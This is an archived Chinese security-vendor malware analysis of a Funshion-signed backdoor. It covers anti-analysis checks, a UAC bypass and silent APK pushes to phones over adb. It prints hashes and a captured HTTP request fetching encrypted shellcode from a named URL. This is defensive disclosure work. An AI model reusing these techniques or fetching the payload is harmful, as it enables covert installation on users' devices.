
        <html>
			<head>
			     <title>木马盗用“风行播放器签名”流氓推广 - 360安全卫士</title>
				 <meta http-equiv="content-type" content="text/html; charset=UTF-8">
			</head>
			<body>
				<h1>原文地址:<a href="http://drops.wooyun.org/papers/9736">http://drops.wooyun.org/papers/9736</a></h1>
				
      <p>
        <p>by qxnjawk</p>

<h1>0x00 摘要</h1>

<hr />

<p>最近，360安全中心检测到，大量推广程序在推广一款带有有效风行签名——“Beijing Funshion Online Technologies Ltd.”的静默安装程序。后续分析发现，该程序静默安装，无法卸载，通过LSP注入系统各个联网进程执行。带有反虚拟机，反调试，抗分析，远程控制，远程执行的能力，是一款植入用户计算机的后门程序。</p>

<h1>0x01 FunMini文件分析</h1>

<hr />

<h2>基本信息：</h2>

<ul>
<li>MD5 : 64a34cc9a22fa93d0705920e4c3aed0c</li>
<li>文件名称 : FunMini.exe</li>
<li>文件类型 : PE，未加壳</li>
<li>签名信息 : Beijing Funshion Online Technologies Ltd.</li>
<li>签名正常 风行公司的推广程序</li>
</ul>

<!--more-->

<p><img src="http://static.wooyun.org//drops/20151016/2015101607380917119.png" alt="" /></p>

<h2>行为概述：</h2>

<p>该样本运行之后，会对目标机器的环境进行检测：检测虚拟机，各种程序开发工具等。</p>

<p>如果不存在开发工具和虚拟机，就会下载一个后门dll程序加载执行，该dll还会进行手机app推广。</p>

<h2>行为详解：</h2>

<p>木马检查用户机器上是否存在IDA, vc6.0, windbg.exe等分析人员常用的分析工具。这类检测在木马程序中很常见，正常面向大众的软件，很少做这类检测。</p>

<p><img src="http://static.wooyun.org//drops/20151016/2015101607380929362.png" alt="" /></p>

<p>以下为木马检测的所有字符串的内存截图：</p>

<p><img src="http://static.wooyun.org//drops/20151016/2015101607381048463.png" alt="" /></p>

<p>检测通过之后，后门从服务器下载一个名为Foamii.dll的文件，而该文件才是一切行为的核心。</p>

<h1>0x02 Foamii.dll文件分析</h1>

<hr />

<h2>基本信息：</h2>

<ul>
<li>名称 : Foamii.dll</li>
<li>MD5 : a8367b1199422f103da439678a1a3683</li>
<li>文件类型 : win32 PE,DLL</li>
<li>签名信息 : Beijing Funshion Online Technologies Ltd.</li>
<li>签名正常</li>
</ul>

<p><img src="http://static.wooyun.org//drops/20151016/2015101607381099828.png" alt="" /></p>

<h2>行为详解：</h2>

<p>木马首先调用WinExec函数启动rundll32.exe作为宿主进程，调用Foamii.dll的startup函数</p>

<p><img src="http://static.wooyun.org//drops/20151016/2015101607381017869.png" alt="" /></p>

<p>运行后，dll会从服务器读取在线shellcode代码到本地</p>

<p><img src="http://static.wooyun.org//drops/20151016/2015101607381051782.png" alt="" /></p>

<p>shellcode的远端地址竟然就堂而皇之的挂在风行官网上：<code>http://fld.funshion.com/instant/instant?bid=52</code>用浏览器打开该URL内容如下：</p>

<p><img src="http://static.wooyun.org//drops/20151016/2015101607381052626.png" alt="" /></p>

<p>数据报文如下图：</p>

<pre><code>GET /instant/instant?bid=52 HTTP/1.1
Cache-Control: max-age=43200
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Funshion/1.0.0.1
Host: fld.funshion.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Server: nginx/1.2.0
Date: Wed, 23 Sep 2015 07:12:02 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Connection: close
Vary: Accept-Encoding

184
..TKDS…..$..e..1..}…_/…6………..d..`CG..W…S…..V……=-…..\.Gd4..*..a}…X.#..Y…}R …o\W.]I.M.Jw…%.Lm.l._..Zq..n1.X[+F.+….~…c.J…~.]./..’d2…….z.c(.{.(.n..%..8=.3`.`.W…!….E..1.j.U….[..
#……T&amp;…/……!&lt;.<a class="__cf_email__" href="/cdn-cgi/l/email-protection" data-cfemail="0e674a4b4541574eec8ea820">[email&#160;protected]</a><script data-cfhash='f9e31' type="text/javascript">/* <![CDATA[ */!function(t,e,r,n,c,a,p){try{t=document.currentScript||function(){for(t=document.getElementsByTagName('script'),e=t.length;e--;)if(t[e].getAttribute('data-cfhash'))return t[e]}();if(t&&(c=t.previousSibling)){p=t.parentNode;if(a=c.getAttribute('data-cfemail')){for(e='',r='0x'+a.substr(0,2)|0,n=2;a.length-n;n+=2)e+='%'+('0'+('0x'+a.substr(n,2)^r).toString(16)).slice(-2);p.replaceChild(document.createTextNode(decodeURIComponent(e)),c)}p.removeChild(t)}}catch(u){}}()/* ]]> */</script>=yH.i.MV…..i…..A…..e.._g.YL`…..,5]R..`……&amp;
Y….(e….@.J.%.O.T.l..U+…….5..6.]..a{`.? .IEX….&lt;xx…..-…k…}…I..\
0
</code></pre>

<p>而加载shellcode后，代码会向服务器发起访问，返回信息则是一个json串：</p>

<p><img src="http://static.wooyun.org//drops/20151016/2015101607381188924.png" alt="" /></p>

<p>显然，json串中又为shellcode指明了一个新的下载地址，下载回来的则是一个名为Foamii.zip的压缩文件</p>

<p><img src="http://static.wooyun.org//drops/20151016/2015101607381158671.png" alt="" /></p>

<p>当Foamii.dll将Foamii.zip下载回来之后，将其解压，并进一步释放了一个名为FunNail.dll的程序</p>

<p><img src="http://static.wooyun.org//drops/20151016/2015101607381129345.png" alt="" /></p>

<h1>0x03 FunNail.dll文件分析</h1>

<hr />

<h2>文件信息：</h2>

<ul>
<li>文件名称 : FunNail.dll</li>
<li>MD5 : 042ace2a209f537bb9402a563894cf9e</li>
<li>签名信息 : Beijing Funshion Online Technologies Ltd.</li>
</ul>

<p><img src="http://static.wooyun.org//drops/20151016/2015101607381159561.png" alt="" /></p>

<h2>行为概述：</h2>

<p>该程序被运行后，首先会检测当前环境是否运行于虚拟机当中，同时删除PcHunter, smiff等常见分析工具。然后下载推广程序，进行推广。</p>

<h2>行为详解：</h2>

<p>木马调用IsProcessorFeaturePresent检测自身是否正处于调试环境中，由此判断自身是否正在被分析人员分析：</p>

<p><img src="http://static.wooyun.org//drops/20151016/2015101607381220443.png" alt="" /></p>

<p>若并非处于调试环境中，则申请内存执行shellcode</p>

<p><img src="http://static.wooyun.org//drops/20151016/2015101607381231051.png" alt="" /></p>

<p>之后，创建一个模态对话框，关键的工作函数就放在了窗体回调函数中：</p>

<p><img src="http://static.wooyun.org//drops/20151016/2015101607381266328.png" alt="" /></p>

<p>工作函数中，首先是检测虚拟机情况，看自己是否运行于虚拟机之中：</p>

<p><img src="http://static.wooyun.org//drops/20151016/2015101607381269267.png" alt="" /></p>

<p>而后，程序会对磁盘中的进行遍历</p>

<p><img src="http://static.wooyun.org//drops/20151016/2015101607381286471.png" alt="" /></p>

<p>遍历文件过程中，一旦发现检测分析工具则立即删除：</p>

<p><img src="http://static.wooyun.org//drops/20151016/2015101607381333489.png" alt="" /></p>

<p><img src="http://static.wooyun.org//drops/20151016/2015101607381326615.png" alt="" /></p>

<p>删除PCHunter32.exe文件</p>

<p><img src="http://static.wooyun.org//drops/20151016/2015101607381340302.png" alt="" /></p>

<p>删除smsniff.exe文件</p>

<p><img src="http://static.wooyun.org//drops/20151016/2015101607381349555.png" alt="" /></p>

<p>另外，此处还有一个插曲：如果程序检测到当前正运行于Win7之后的系统，程序甚至还有专门用于绕过UAC防护的代码，考虑不可谓不周到。</p>

<p><img src="http://static.wooyun.org//drops/20151016/2015101607381375813.png" alt="" /></p>

<p>一切准备工作停当之后，便下载了一套安卓手机的连接组件回来：</p>

<p><img src="http://static.wooyun.org//drops/20151016/2015101607381410399.png" alt="" /></p>

<p>同时开启一个转么的线程，用来等待手机usb设备接入</p>

<p><img src="http://static.wooyun.org//drops/20151016/2015101607381445743.png" alt="" /></p>

<p>一旦发现有安卓手机接入，则创建一个可读写的pipe管道，主要为adb fork-server 服务。</p>

<p><img src="http://static.wooyun.org//drops/20151016/2015101607381478008.png" alt="" /></p>

<p>而后利用adb命令在手机端创建一个 adb fork-server server进程 ，用于通过adb连接继而到电脑的手机。</p>

<p><img src="http://static.wooyun.org//drops/20151016/2015101607381457048.png" alt="" /></p>

<p><img src="http://static.wooyun.org//drops/20151016/2015101607381453681.png" alt="" /></p>

<p>在手机中创建进程adb fork-server server成功之后，会读取手机端adb fork-server server的数据</p>

<p><img src="http://static.wooyun.org//drops/20151016/2015101607381555184.png" alt="" /></p>

<p>并启动daemon 守护进程</p>

<p><img src="http://static.wooyun.org//drops/20151016/2015101607381542853.png" alt="" /></p>

<p>同时下载一个或几个APK文件到本地：</p>

<p><img src="http://static.wooyun.org//drops/20151016/2015101607381527238.png" alt="" /></p>

<p>现在要做的，就是找到SD卡或者手机内部存储的tmp路径，并将已经准备好的apk文件推送到手机当中：</p>

<p><img src="http://static.wooyun.org//drops/20151016/2015101607381548893.png" alt="" /></p>

<p><img src="http://static.wooyun.org//drops/20151016/2015101607381551783.png" alt="" /></p>

<p>最后，安装并启动安卓的daemon守护进程，拼接adb shell:install命令用来启动apk进行流氓推广</p>

<p><img src="http://static.wooyun.org//drops/20151016/2015101607381534357.png" alt="" /></p>

<p><img src="http://static.wooyun.org//drops/20151016/2015101607381668256.png" alt="" /></p>

<p><img src="http://static.wooyun.org//drops/20151016/2015101607381690247.png" alt="" /></p>

<p>以上这一切，用户是完全没有任何感知的，能感知到的唯有在手机上的这一次又一次的不期而遇而已……</p>

<p><img src="http://static.wooyun.org//drops/20151016/2015101607381734186.png" alt="" /></p>

<h1>0x04 总结</h1>

<hr />

<p>360安全中心最早接到关于带有风行签名程序从PC端向安卓机强推安卓应用的问题，最早见于去年（2014年）12月中旬，当时就曾组织过技术力量对该族系推广进行过拦截。但在沉寂了9个多月之后，今年9月中旬，该族系又变换了更加犀利的反安全软件代码卷土重来。</p>

<p>目前360已对其推广做了拦截，并提醒用户及时清理，该后门安装量已经过数百万台，并且依然在不断的变种与我们进行对抗。</p>

<p>由衷希望厂商管理好自己产品，不要在这条路上越走越远才好。</p>      </p>
    
			</body>
		</html>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          